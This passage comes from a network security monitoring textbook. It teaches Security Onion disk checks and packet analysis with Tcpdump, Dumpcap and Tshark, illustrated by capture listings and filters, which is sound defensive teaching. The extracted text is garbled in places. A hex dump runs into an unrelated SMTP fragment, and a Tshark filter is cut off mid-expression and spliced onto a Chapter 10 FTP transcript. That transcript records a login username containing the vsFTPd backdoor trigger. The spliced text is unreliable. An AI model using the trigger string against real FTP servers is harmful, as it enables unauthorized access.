Tracking Disk Usage Although SO offers automatic ways to manage hard disk space, it isn’t a completely deploy-and-forget appliance. Keep an eye on disk usage using the df -h command and the more granular du -csh commands shown in Listing 5-7. $ sudo df -h Filesystem /dev/sda1 udev tmpfs none none

Size 456G 1.5G 603M 5.0M 1.5G

Used Avail Use% Mounted on 96G 337G 23% / 4.0K 1.5G 1% /dev 876K 602M 1% /run 0 5.0M 0% /run/lock 216K 1.5G 1% /run/shm

$ sudo du -csh /nsm 86G /nsm 86G total Listing 5-7: Disk usage commands

108

Chapter 5

As you can see, this sensor has plenty of space available on the hard disk (/dev/sda1), with only 23 percent in use. The /nsm directory occupies 86GB of the 96GB taken up by the whole partition. The example of a database size check earlier in this chapter showed that all of the databases occupied 5.536GB. Windows users might be more familiar with graphical representations of hard disk usage. On Linux, it’s useful to become acquainted with the sorts of percentages and listings produced by commands like df.

Conclusion This chapter explained a few core administrative chores: keeping software up-to-date, limiting network access to promote security, and managing system storage. These are by no means the only skills required for system administration, but thankfully, the SO project has made caring for NSM platforms easy. With these fundamental skills, you can keep your SO systems running smartly with a minimum of effort. In the following chapters, we’ll look at the software and data you can use to collect and interpret network data.

SO Platform Housekeeping

109

PART III TOOLS

6 COMM A ND LINE PACKE T A N A LY S I S T O O L S

In Chapters 3 and 4 we installed the SO software in several configurations, and we discussed housekeeping functions in Chapter 5. Now that you have this powerful NSM platform collecting data, in this chapter I’ll introduce the first set of command line tools used to present information to analysts. Some of these tools will be running all the time, while others will be invoked on demand. Each has its particular strengths and weaknesses. I’ll discuss how I use key features, though I won’t cover all tools in exhaustive detail here. Because I’ve written this book for new analysts, my discussion of SO tools in this part will concentrate on data presentation. In this chapter I will look at data presentation tools that use a command line interface. In Chapter 7 I’ll address data presentation tools that use a graphical interface, and in Chapter 8 I’ll examine specialized forms of data presentation tools—the NSM consoles. For now, let’s step back and understand how all the NSM tools packaged with SO relate to one another.

SO Tool Categories SO ships with a variety of tools, as listed on the SO wiki (http://code.google .com/p/security-onion/wiki/Tools). Some tools present data to analysts, some collect data directly from the network or via messages from other computers, and a third category sits between the others as middleware, delivering data or providing other essential capabilities. Let’s take a brief look at each category of tools: data presentation, data collection, and data delivery.

SO Data Presentation Tools Data presentation tools expose NSM information to analysts. Two sorts of data presentation tools for packet analysis are available in SO. One relies on a command line interface, and the other offers analysts a graphical interface. SO also provides NSM consoles for data presentation. Packet Analysis Tools Packet analysis tools read network traffic from a live interface, or from a file containing traffic saved in pcap format. Analysts use packet analysis tools to better interpret network traffic, but not necessarily to implement an NSMspecific investigation or workflow. Some of these tools help analysts better understand individual packets, others group packets into sessions, and still others examine application data. The authors of these tools generally did not build them with NSM in mind, but nevertheless, they are key to understanding network traffic. Two sorts of data presentation tools for packet analysis are available with SO. One relies on a command line interface. These tools include Tcpdump, Tshark, and the Argus Ra client, all examined in this chapter. Because certain uses of Tshark depend on a related data collection tool, Dumpcap, I’ll present it along with Tshark. The second sort of tool for packet analysis offers analysts a graphical interface. Wireshark, Xplico, and NetworkMiner are examples of this sort of software, and I discuss them in Chapter 7. NSM Consoles NSM consoles were built with NSM-specific investigation and workflows in mind. The console authors began with the core NSM principles and implemented them in software. These tools also function as data presentation applications, but they act more as gateways to NSM data. Software in this category includes Sguil, Squert, Snorby, and ELSA. I’ll explain how to use these NSM consoles in Chapter 8.

114

Chapter 6

SO Data Collection Tools Once NSM analysts become comfortable with the data presentation tools, they turn to data collection tools. Software in this category includes the Argus server, Netsniff-ng, Passive Real-Time Asset Detection System (PRADS), Snort, Suricata, and Bro. (Dumpcap belongs in this category as well, but SO does not enable it by default.) These applications collect and generate the NSM data available to the presentation tools. The Argus server and PRADS create and store their own forms of session data. Argus data is stored in a proprietary binary format suited for rapid command line mining, whereas PRADS data is best read through an NSM console. Analysts can choose which form of data suits them best. Netsniff-ng simply writes full content data to disk in pcap format. Snort and Suricata are network intrusion detection systems, inspecting traffic and writing alerts according to the signatures deployed with each tool. Bro observes and interprets traffic that has been generated and logged as a variety of NSM datatypes. In the default configuration enabled by the SO platform, all of these applications provide a wealth of NSM data to the presentation tools discussed in this chapter and the next two.

SO Data Delivery Tools Finally, between the data presentation and data collection tools sits a suite of data delivery applications. Broadly speaking, this middleware enables the functionality of the other categories of software on the SO platform. Tools like PulledPork, Barnyard2, and CapMe manage IDS rules, alert processing, and pcap access, respectively. A suite of “agents” associated with Sguil—such as pcap_agent, snort_agent, and the like—shuttle data from the collection tools to the presentation software. This includes the Apache web server, the MySQL database, and the Sphinx index application, which may already be familiar to you. Finally, SO includes tools for integrating certain host-centric analysis features. These include the OSSEC host IDS and Syslog-ng for transport and aggregation of log messages. Because this book concentrates on network-centric data, we won’t examine data from OSSEC and Syslog-ng, but you should know that those components are running on SO platforms. Figure 6-1 shows the core SO tools in relation to one another. This chapter covers the tools Tcpdump, Tshark, Dumpcap, and the Argus Ra client. Chapter 7 covers Wireshark, Xplico, and NetworkMiner. Chapter 8 discusses the NSM consoles Sguil, Snorby, Squert, and ELSA. We’ll begin our look at data presentation tools with Tcpdump.

Command Line Packet Analysis Tools

115

Data presentation

NetworkMiner and Xplico Interface for full content data, alert data, session data, and some metadata

PulledPork Data delivery

Alert data rule updates

Barnyard2 Alert data spool processing

Wireshark, Tshark, and Tcpdump Protocol analyzers for full content data

pcap_agent snort_agent sancp_agent pads_agent http_agent Sensor to server data delivery

Sguil Interface for full content data, alert data, session data, and some metadata

Apache Web server

CapMe Full content and transcript delivery

Argus server

Dumpcap

PRADS

Session data

Full content data (not running by default)

Session data and metadata

Data collection

Netsniff-ng Full content data

Snorby or Squert Interface for alert data and some metadata

ELSA Interface for Bro and alert data

Argus Ra Client for session data

OSSEC

Sphinx

Host log alerting and analysis

ELSA log search

Syslog-ng Log collection

Snort or Suricata Alert data

MySQL Database

Bro Extracted content data, session data, transaction data, statistical data, metadata, and alert data

Monitored interface(s), e.g., eth1

Figure 6-1: Core SO tools

Running Tcpdump Tcpdump (http://www.tcpdump.org/) is a command line network traffic analyzer. Tcpdump is available on SO, but it is not running by default. Analysts can invoke it on demand, most often to view data stored in /nsm/sensor_data//dailylogs. NOTE

Bill Fenner, David Young, Fulvio Risso, Guy Harris, Hannes Gredler, and Michael Richardson are the current Tcpdump maintainers, and they code under a three-clause BSD license. (See the Tcpdump CREDITS file at http://svnweb.freebsd.org/base/ vendor/tcpdump/4.3.0/CREDITS?revision=241212&view=markup for all contributors.) They also develop the libpcap traffic capture library under the same license. Van Jacobson, Craig Leres, and Steven McCanne wrote the original version in 1987 while working at the Lawrence Berkeley Laboratory Network Research Group. Tcpdump works against a live network interface or a saved trace file. It can display results in real time or write output to a file. Tcpdump is a protocol analyzer because it can depict multiple layers of detail for any traffic it understands. As a protocol analyzer, its rendition of network traffic depends on its ability to decode the data it sees. Without knowledge of the underlying protocols, Tcpdump could produce only a byte stream that analysts would need to decode manually.

116

Chapter 6

Displaying, Writing, and Reading Traffic with Tcpdump Tcpdump runs in a command terminal. To display live traffic in real time, run it with these options: $ tcpdump -n -i -s -c

The -n switch tells Tcpdump to not resolve IP addresses to hostnames via DNS queries. I always run Tcpdump with the -n switch to avoid waiting while the tool resolves IP addresses to hostnames via DNS. The -i switch tells it which interface to monitor. The -s switch tells it how many bytes to capture from each packet. By default Tcpdump captures 68 bytes for IPv4 packets and 96 bytes for IPv6 packets. (Use -s 0 to capture the entire packet, or specify a value appropriate for the medium from which you are capturing.) Finally, -c tells Tcpdump how many packets to capture. (If you forget this switch, Tcpdump will run until you stop it with CTRL-C.) Listing 6-1 shows some example output. Tcpdump requires elevated privileges to sniff traffic in promiscuous mode, so preface the command with sudo. $ sudo tcpdump -n -i eth1 -c 5 tcpdump: WARNING: eth1: no IPv4 address assigned tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes u19:48:51.723139 IP 192.168.2.120.55060 > 205.233.0.226.443: UDP, length 461 v19:48:51.886312 IP 69.171.246.17.443 > 192.168.2.104.49608: Flags [P.], seq 928328861:928329246, ack 1080949825, win 39, length 385 w19:48:51.898576 IP 192.168.2.104.49608 > 69.171.246.17.443: Flags [P.], seq 1:978, ack 385, win 4220, length 977 x19:48:51.914324 IP 69.171.246.17.443 > 192.168.2.104.49608: Flags [.], ack 978, win 45, length 0 y19:48:51.915284 IP 69.171.246.17.443 > 192.168.2.104.49608: Flags [P.], seq 385:823, ack 978, win 45, length 438 5 packets captured 5 packets received by filter 0 packets dropped by kernel Listing 6-1: Capturing five packets with Tcpdump

This traffic includes one User Datagram Protocol (UDP) packet u, followed by four Transmission Control Protocol (TCP) packets (v, w, x, and y). The UDP traffic has the following format: timestamp / layer 3 protocol / source IP address.source port > destination IP address.destination port: layer 4 protocol / data length

Command Line Packet Analysis Tools

117

The format for the TCP traffic is similar: timestamp / layer 3 protocol / source IP address.source port > destination IP address.destination port: layer 4 protocol / TCP flags, TCP sequence numbers, TCP acknowledgement numbers, TCP window size, data length NOTE

The time in this trace is UTC. When you configure SO, it sets the local clock to use UTC, so expect to see UTC timestamps in network evidence. In files saved in libpcap format, time is stored as the number of seconds and microseconds since the Unix “epoch time” of January 1, 1970. The local system then translates this value into the time displayed by a network tool. To save traffic to disk while watching a live interface, add the -w switch followed by the target filename. Listing 6-2 shows how to accomplish this task.

$ sudo tcpdump -n -i eth1 -c 5 -w demo1.pcap tcpdump: WARNING: eth1: no IPv4 address assigned tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes 5 packets captured 5 packets received by filter 0 packets dropped by kernel Listing 6-2: Capturing and storing five packets with Tcpdump

To read the traffic, use the -r switch. (The sudo command isn’t needed because you’re reading from a trace, not eth1.) Listing 6-3 shows the results of reading five captured packets. $ tcpdump -n -r demo1.pcap reading from file demo1.pcap, link-type EN10MB (Ethernet) 20:23:44.858470 IP 74.125.228.54.443 > 192.168.2.104.49945: Flags [P.], seq 1145489012:1145489069, ack 1920080636, win 4132, length 57 20:23:44.859134 IP 74.125.228.54.443 > 192.168.2.104.49945: Flags [P.], seq 57:1407, ack 1, win 4132, length 1350 20:23:44.859154 IP 74.125.228.54.443 > 192.168.2.104.49945: Flags [P.], seq 1407:2757, ack 1, win 4132, length 1350 20:23:44.859505 IP 74.125.228.54.443 > 192.168.2.104.49945: Flags [P.], seq 2757:4107, ack 1, win 4132, length 1350 20:23:44.860006 IP 74.125.228.54.443 > 192.168.2.104.49945: Flags [P.], seq 4107:4261, ack 1, win 4132, length 154 Listing 6-3: Reading five packets with Tcpdump

Using Filters with Tcpdump Along with displaying, writing, and reading traffic, the other core usage for Tcpdump involves applying filters. Filters are a mechanism to limit the traffic shown or captured by Tcpdump and other tools. The popular term

118

Chapter 6

for filters is BPF, a nod to the Berkeley Packet Filter virtual machine, which translates the human-readable filter syntax into a code syntax suitable for machine consumption. Applying Filters You apply a BPF by appending it to the Tcpdump command line. For example, to capture only ICMP traffic, add icmp to the syntax, as shown in Listing 6-4 (u). $ sudo tcpdump -n -i eth1 -c 10 -w icmp.pcap icmpu tcpdump: WARNING: eth1: no IPv4 address assigned tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes 10 packets captured 10 packets received by filter 0 packets dropped by kernel Listing 6-4: Capturing 10 ICMP packets with Tcpdump

To read the trace, use Tcpdump again, as shown in Listing 6-5. $ tcpdump -n -r icmp.pcap reading from file icmp.pcap, link-type EN10MB (Ethernet) 20:30:28.203723 IP 172.16.2.1 > 172.16.2.2: ICMP echo request, id 20822, seq 44313, length 44 20:30:28.204282 IP 172.16.2.2 > 172.16.2.1: ICMP echo reply, id 20822, seq 44313, length 44 20:30:28.844237 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 5, length 40 20:30:28.871534 IP 173.194.75.104 > 192.168.2.108: ICMP echo reply, id 1, seq 5, length 40 20:30:29.213917 IP 172.16.2.1 > 172.16.2.2: ICMP echo request, id 20822, seq 44569, length 44 20:30:29.214475 IP 172.16.2.2 > 172.16.2.1: ICMP echo reply, id 20822, seq 44569, length 44 20:30:29.850913 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 6, length 40 20:30:29.875103 IP 173.194.75.104 > 192.168.2.108: ICMP echo reply, id 1, seq 6, length 40 20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 Listing 6-5: Reading ICMP packets with Tcpdump

Instead of using icmp, you can capture other specific traffic by using options like tcp, udp, and so on. For example, you can collect traffic for a specified TCP or UDP port, like port 53, as shown in Listing 6-6. $ sudo tcpdump -n -i eth1 -s 0 port 53 tcpdump: WARNING: eth1: no IPv4 address assigned tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes 20:53:42.685078 IP 192.168.2.106.33348 > 172.16.2.1.53: 55862+ A? daisy.ubuntu.com. (34) 20:53:42.701421 IP 172.16.2.1.53 > 192.168.2.106.33348: 55862 2/0/0 A 91.189.95.54, A 91.189.95.55 (66) Listing 6-6: Capturing port 53 packets with Tcpdump

Command Line Packet Analysis Tools

119

Listing 6-6 captures UDP or TCP traffic on port 53. To capture port 53 and TCP traffic only, modify the filter as shown in Listing 6-7. $ sudo tcpdump -n -i eth1 -s 0 port 53 and tcp tcpdump: WARNING: eth1: no IPv4 address assigned tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes 21:02:06.430169 IP 192.168.2.126.44334 > 8.8.8.8.53: Flags [S], seq 1330246822, win 42340, options [mss 1460,sackOK,TS val 157066547 ecr 0,nop,wscale 11], length 0 Listing 6-7: Capturing port 53 TCP packets with Tcpdump

The manual page for pcap-filter included with SO shows all available options. View it by entering man pcap-filter at a command terminal. Some Common Filters Now let’s look at some of the more common filters for showing traffic to or from particular hosts and even networks. To show traffic to or from a specific computer, use the host BPF, as shown in Listing 6-8. $ tcpdump -n -r icmp.pcap host 192.168.2.127 reading from file icmp.pcap, link-type EN10MB (Ethernet) 20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 Listing 6-8: Capturing traffic involving a host via BPF with Tcpdump

To show traffic from a certain source computer, use the src host BPF, as shown in Listing 6-9. $ tcpdump -n -r icmp.pcap src host 192.168.2.127 reading from file icmp.pcap, link-type EN10MB (Ethernet) 20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 Listing 6-9: Capturing traffic from a host via BPF with Tcpdump

The dst host BPF works the same way as the src host version, as shown in Listing 6-10. $ tcpdump -n -r icmp.pcap dst host 192.168.2.127 reading from file icmp.pcap, link-type EN10MB (Ethernet) 20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 Listing 6-10: Capturing traffic to a host via BPF with Tcpdump

120

Chapter 6

You can specify networks instead of hosts with the net BPF, as shown in Listing 6-11. $ tcpdump -n -r icmp.pcap dst net 192.168.2.0 reading from file icmp.pcap, link-type EN10MB (Ethernet) 20:30:28.844237 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 5, length 40 20:30:29.850913 IP 192.168.2.108 > 173.194.75.104: ICMP echo request, id 1, seq 6, length 40 20:30:29.987013 IP 192.168.2.127 > 173.194.75.99: ICMP echo request, id 47441, seq 1, length 64 Listing 6-11: Capturing traffic to a network via BPF with Tcpdump

Many protocols offer BPF primitives that allow you to look at specific aspects of the traffic, and you can also combine elements of the previous examples to limit what you see. For example, Listing 6-12 shows only ICMP echo replies from IP address 192.168.2.127. $ tcpdump -n -r icmp.pcap 'icmp[icmptype] = icmp-echoreply' and dst host 192.168.2.127 reading from file icmp.pcap, link-type EN10MB (Ethernet) 20:30:30.013728 IP 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 Listing 6-12: Capturing ICMP echo replies to a host via BPF with Tcpdump

Extracting Details from Tcpdump Output In addition to displaying traffic more specifically, with Tcpdump, you can also extract more details from the results. For example, Listing 6-13 tells Tcpdump to show timestamps as YYYY-MM-DD HH:MM:SS.milliseconds via –tttt, adds layer 2 headers with –e, and tells Tcpdump to show all headers and data in hex and ASCII format with -XX. $ tcpdump -n -tttt -e -XX -r icmp.pcap 'icmp[icmptype] = icmp-echoreply' and dst host 192.168.2.127 reading from file icmp.pcap, link-type EN10MB (Ethernet) 2013-02-16 20:30:30.013728 00:0d:b9:27:f1:48 > 00:13:10:65:2f:ac, ethertype IPv4 (0x0800), length 98: 173.194.75.99 > 192.168.2.127: ICMP echo reply, id 47441, seq 1, length 64 0x0000: 0013 1065 2fac 000d b927 f148 0800 4500 ...e/....'.H..E. 0x0010: 0054 0000 0000 fb01 035c adc2 4b63 c0a8 .T.......\..Kc.. 0x0020: 027f 0000 2092 b951 0001 65ec 1f51 0000 .......Q..e..Q.. 0x0030: 0000 d30a 0f00 0000 0000 1011 1213 1415 ................ 0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$% 0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345 0x0060: 3637 67 Listing 6-13: Extracting more details from Tcpdump output NOTE

Tcpdump offers other matching and storage options. For more information, see the Tcpdump manual page on SO. Type man tcpdump at a command prompt to read the manual.

Command Line Packet Analysis Tools

121

Examining Full Content Data with Tcpdump Because Tcpdump also works on saved traces, you can use it to examine the full content data saved on SO stand-alone or sensor platforms in the /nsm/ sensor_data//dailylogs directory. When searching for indicators of compromise in network traffic, you may want to search every file in these directories. You can use Tcpdump and a BPF modifier to hone your output. For example, Listing 6-14 looks through all files for traffic involving host 8.8.8.8 and TCP thanks to a for loop and the find command. Note the backticks (on the same key as the tilde symbol) in front of the find and after -type f. $ for i in `find /nsm/sensor_data/sademo-eth1/dailylogs/ -type f`; do tcpdump -n -c 1 -r $i host 8.8.8.8 and tcp; done reading from file /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361019690, linktype EN10MB (Ethernet) u reading from file /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361045719, linktype EN10MB (Ethernet) v 21:02:06.430169 IP 192.168.2.126.44334 > 8.8.8.8.53: Flags [S], seq 1330246822, win 42340, options [mss 1460,sackOK,TS val 157066547 ecr 0,nop,wscale 11], length 0 w reading from file /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-16/snort.log.1361017706, linktype EN10MB (Ethernet) x -- snip -Listing 6-14: Looping through pcap files

Listing 6-14 shows that the first trace u did not contain any traffic matching the BPF. The second trace v contains a matching SYN packet w. The third trace at x did not contain any matching packets. With a repository of full content data at your disposal, you give greater context to your NSM analysis. While most NSM analysts use many tools to access full content data, I often use Tcpdump to take a quick look at specific network activity, applying a BPF for a certain port or host of interest.

Using Dumpcap and Tshark The Dumpcap and Tshark tools are shipped with the Wireshark (http:// www.wireshark.org/) suite. Dumpcap is a simple traffic collection tool, and Tshark is the command line version of the Wireshark network traffic analyzer. Dumpcap, and by extension Tshark, depend on the libpcap traffic capture library to access packets. Both Dumpcap and Tshark are available on SO, but they are not running by default. Analysts can invoke each on demand, most often to access full content data in /nsm/sensor_data/ /dailylogs. NOTE

122

Chapter 6

Gerald Combs is the original author of Dumpcap, and he and the Wireshark team code under the GNU General Public License version 2 (http://www.wireshark .org/faq.html).

Tshark’s strength lies in protocol analysis, thanks to the hundreds of protocols it understands, and, unlike Tcpdump, it allows you access just about any aspect of a protocol using fairly human-friendly syntax. For this reason, if I need to decode a specific protocol in a command line environment, I choose Tshark over Tcpdump.

Running Tshark You can run Tshark from a command terminal, although if you start it with sudo, it will likely report the following error and warning as shown in Listing 6-15. $ sudo tshark -i eth1 tshark: Lua: Error during loading: [string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled Running as user "root" and group "root". This could be dangerous. Capturing on eth1 Listing 6-15: Lua error when starting Tshark

The protocol dissectors shipped with Wireshark and Tshark may contain vulnerabilities. Clever intruders could exploit those vulnerabilities by sending specially crafted network traffic past a sensor. If malicious packets exploit Wireshark or Tshark while it is sniffing traffic, an intruder could gain control of the sensor. If Wireshark or Tshark is running with root privileges when exploitation occurs, the intruder could gain total control of the sensor. To partially mitigate the risk of granting intruders unauthorized access, the Wireshark developers recommend that users not run either program with root privileges. Instead, they suggest capturing traffic with Dumpcap first, and then analyzing saved packets with Wireshark or Tshark.

Running Dumpcap Dumpcap uses the same BPF syntax as Tcpdump, as shown in Listing 6-16. $ sudo dumpcap -i eth1 -c 2 -w /tmp/tshark-icmp.pcap -f "icmp and host 192.168.2.108" File: /tmp/tshark-icmp.pcap Packets captured: 2 Packets Received/Dropped on Interface eth1: 2/0 Listing 6-16: Capturing two ICMP packets with Dumpcap

The command in Listing 6-16 tells Dumpcap to listen to the eth1 interface, save two packets, write to the /tmp/tshark-icmp.pcap file, and limit capture to ICMP traffic involving the computer at IP address 192.168.2.108. As you can see in the listing, you don’t need to specify a snaplength via -s as you do with Tcpdump, because Dumpcap uses a default maximum value. Listing 6-15 writes to the /tmp directory because the operating system won’t

Command Line Packet Analysis Tools

123

let me write to my home directory as root through sudo. I must write to a directory that the root user can also write to, which doesn’t include my user’s home directory. Besides using sudo and writing to a directory writable by root, you can reconfigure Wireshark on SO to create a wireshark group, and then add your user account to that group. Doing so will allow your users to capture packets with Dumpcap without invoking sudo to elevate privileges. To accomplish this goal, run the following command: $ sudo dpkg-reconfigure wireshark-common

If you run this command within an OpenSSH session, the screen should look like Listing 6-17. ââââââââââââââââââââââ⤠Configuring wireshark-common âââââââââââââââââââââââ â â â Dumpcap can be installed in a way that allows members of the "wireshark" â â system group to capture packets. This is recommended over the â â alternative of running Wireshark/Tshark directly as root, because less â â of the code will run with elevated privileges. â â â â For more detailed information please see â â /usr/share/doc/wireshark-common/README.Debian. â â â â Enabling this feature may be a security risk, so it is disabled by â â default. If in doubt, it is suggested to leave it disabled. â â â â Should non-superusers be able to capture packets? â â â â

â â â âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ Listing 6-17: Configuring wireshark-common via OpenSSH session

Use the TAB or arrow keys to select Yes, and then press ENTER. The script will add a wireshark user to the /etc/group file. Next, add your user to the wireshark group. Here, the username is sademo: $ sudo usermod -a -G wireshark sademo

Now log out of the system and log back in. (If you try to capture traffic without logging in again, you will get an error.) Try capturing traffic as a normal user, as shown in Listing 6-18. $ dumpcap -i eth1 -c 2 -w tshark-icmp.pcap -f "icmp and host 192.168.2.108" File: tshark-icmp.pcap Packets captured: 2 Packets received/dropped on interface eth1: 2/0 Listing 6-18: Capturing traffic with user-level privileges with Dumpcap. You can now capture traffic with Dumpcap without using sudo and encountering errors.

124

Chapter 6

Running Tshark on Dumpcap’s Traffic Once Dumpcap has captured traffic, analyze it with Tshark. To run Tshark in its most basic mode, use the -r switch, as shown in Listing 6-19. $ tshark -r tshark-icmp.pcap 1 0.000000 192.168.2.108 -> 8.8.8.8 ICMP 74 Echo (ping) request id=0x0001, seq=17/4352, ttl=127 2 0.022643 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo (ping) reply id=0x0001, seq=17/4352, ttl=251 Listing 6-19: Reading a trace with Tshark

This output should be fairly easy to understand, although the time field may be unfamiliar. Specifically, host 192.168.2.108 issues an ICMP echo request to host 8.8.8.8 in packet 1, and host 8.8.8.8 responds with an ICMP echo reply in packet 2. By default, Tshark shows an initial time of 0, followed by time elapsed since the first packet. You can change that to show a more readable format with the -t ad switch, as shown in Listing 6-20. $ tshark -t ad -r tshark-icmp.pcap 1 2013-02-17 13:37:45.922462 192.168.2.108 -> 8.8.8.8 ICMP 74 Echo (ping) request id=0x0001, seq=17/4352, ttl=127 2 2013-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo (ping) reply id=0x0001, seq=17/4352, ttl=251 Listing 6-20: Showing absolute timestamps using the -t ad switch in Tshark

Using Display Filters with Tshark Tshark provides a robust language to show packets that match display filters. Tshark and Wireshark use display filters to control what traffic is shown, but display filters do not affect packet capture. Use BPF syntax if you want to influence what Tshark (or Dumpcap, for that matter) collects and stores. For example, Listing 6-21 invokes a display filter to show only ICMP echo replies (ICMP type 0 messages). $ tshark -t ad -r tshark-icmp.pcap -R "icmp.type == 0" 2 2013-02-17 13:37:45.945105 8.8.8.8 -> 192.168.2.108 ICMP 74 Echo (ping) reply id=0x0001, seq=17/4352, ttl=251 Listing 6-21: Showing an ICMP echo reply in Tshark

This output may not seem very different from that of the Tcpdump filter shown in Listing 6-20, but the power of Tshark (and Wireshark) comes from the extensive catalog of available display filters. The ICMP protocol has 64 display filters available as of this writing, as listed at http://www.wireshark .org/docs/dfref/i/icmp.html. All of these can be used to define specific values to be matched with a display filter.

Command Line Packet Analysis Tools

125

Tshark reveals its depth of knowledge for protocols when you pass it the -V switch, which tells Tshark to produce a verbose protocol decode for the specified traffic. Add -x to display a hex and ASCII listing of the packet.

Both options are shown in Listing 6-22. $ tshark -t ad -r tshark-icmp.pcap -R "icmp.type == 0" -x -V uFrame 2: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) Arrival Time: Feb 17, 2014 13:37:45.945105000 UTC Epoch Time: 1361108265.945105000 seconds [Time delta from previous captured frame: 0.022643000 seconds] [Time delta from previous displayed frame: 0.000000000 seconds] [Time since reference or first frame: 0.022643000 seconds] Frame Number: 2 Frame Length: 74 bytes (592 bits) Capture Length: 74 bytes (592 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ip:icmp:data] vEthernet II, Src: PcEngine_27:f1:48 (00:0d:b9:27:f1:48), Dst: Cisco-Li_65:2f:ac (00:13:10:65:2f:ac) Destination: Cisco-Li_65:2f:ac (00:13:10:65:2f:ac) Address: Cisco-Li_65:2f:ac (00:13:10:65:2f:ac) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) Source: PcEngine_27:f1:48 (00:0d:b9:27:f1:48) Address: PcEngine_27:f1:48 (00:0d:b9:27:f1:48) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) Type: IP (0x0800) wInternet Protocol Version 4, Src: 8.8.8.8 (8.8.8.8), Dst: 192.168.2.108 (192.168.2.108) Version: 4 Header length: 20 bytes Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport)) 0000 00.. = Differentiated Services Codepoint: Default (0x00) .... ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00) Total Length: 60 Identification: 0x0000 (0) Flags: 0x00 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set Fragment offset: 0 Time to live: 251 Protocol: ICMP (1) Header checksum: 0xec9c [correct] [Good: True] [Bad: False] Source: 8.8.8.8 (8.8.8.8) Destination: 192.168.2.108 (192.168.2.108)

126

Chapter 6

xInternet Control Message Protocol Type: 0 (Echo (ping) reply) Code: 0 Checksum: 0x554a [correct] Identifier (BE): 1 (0x0001) Identifier (LE): 256 (0x0100) Sequence number (BE): 17 (0x0011) Sequence number (LE): 4352 (0x1100) [Response To: 1] [Response Time: 22.643 ms] Data (32 bytes) Data: 6162636465666768696a6b6c6d6e6f707172737475767761... [Length: 32] y0000 00 13 10 65 2f 0010 00 3c 00 00 00 0020 02 6c 00 00 55 0030 67 68 69 6a 6b 0040 77 61 62 63 64

ac 00 4a 6c 65

00 fb 00 6d 66

0d 01 01 6e 67

b9 ec 00 6f 68

27 9c 11 70 69

f1 08 61 71

48 08 62 72

08 08 63 73

00 08 64 74

45 c0 65 75

00 a8 66 76

...e/....'.H..E. . 68.87.26.155 SMTP 76 C: helo test 10 2014-02-17 14:09:19.090208 192.168.2.127 -> 68.87.26.155 SMTP 71 C: quit Listing 6-23: Tshark display filter for SMTP Command Line Packet Analysis Tools

127

To look for user agents in HTTP GET request traffic generated by curl, you could use two filters together. Listing 6-24 uses a for loop to search an entire directory. The echo statement shows the trace in question as Tshark searches it. $ for i in `find /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/ -type f`; do echo $i; tshark -t ad -r $i -R 'http.user_agent contains "curl" and http.request.method == GET'; done /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/snort.log.1361107364 143841 2014-02-17 14:26:43.875022 192.168.2.127 -> 217.160.51.31 HTTP 223 GET / HTTP/1.1 Listing 6-24: Looping through data with Tshark to find HTTP traffic

Tshark display filters also make it easy to search for traffic to or from a range of IP addresses. For example, Listing 6-25 looks for traffic with IP addresses between 192.168.2.100 and 192.168.2.110 inclusive that is not TCP or UDP. $ tshark -t ad -r /nsm/sensor_data/sademo-eth1/dailylogs/2013-02-17/snort.log.1361107364 -R 'ip.dst >= 192.168.2.100 and ip.dst 192.168.3.13:21 (link: ethernet/modem)

220 (vsFTPd 2.3.5)w USER 1dxF:)u 331 Please specify the password. PASS 0ibjZ 530 Login incorrect.y 500 OOPS: vsf_sysutil_recv_peek: no data

Listing 10-10: Transcript of FTP connection from 203.0.113.10 to 192.168.3.13

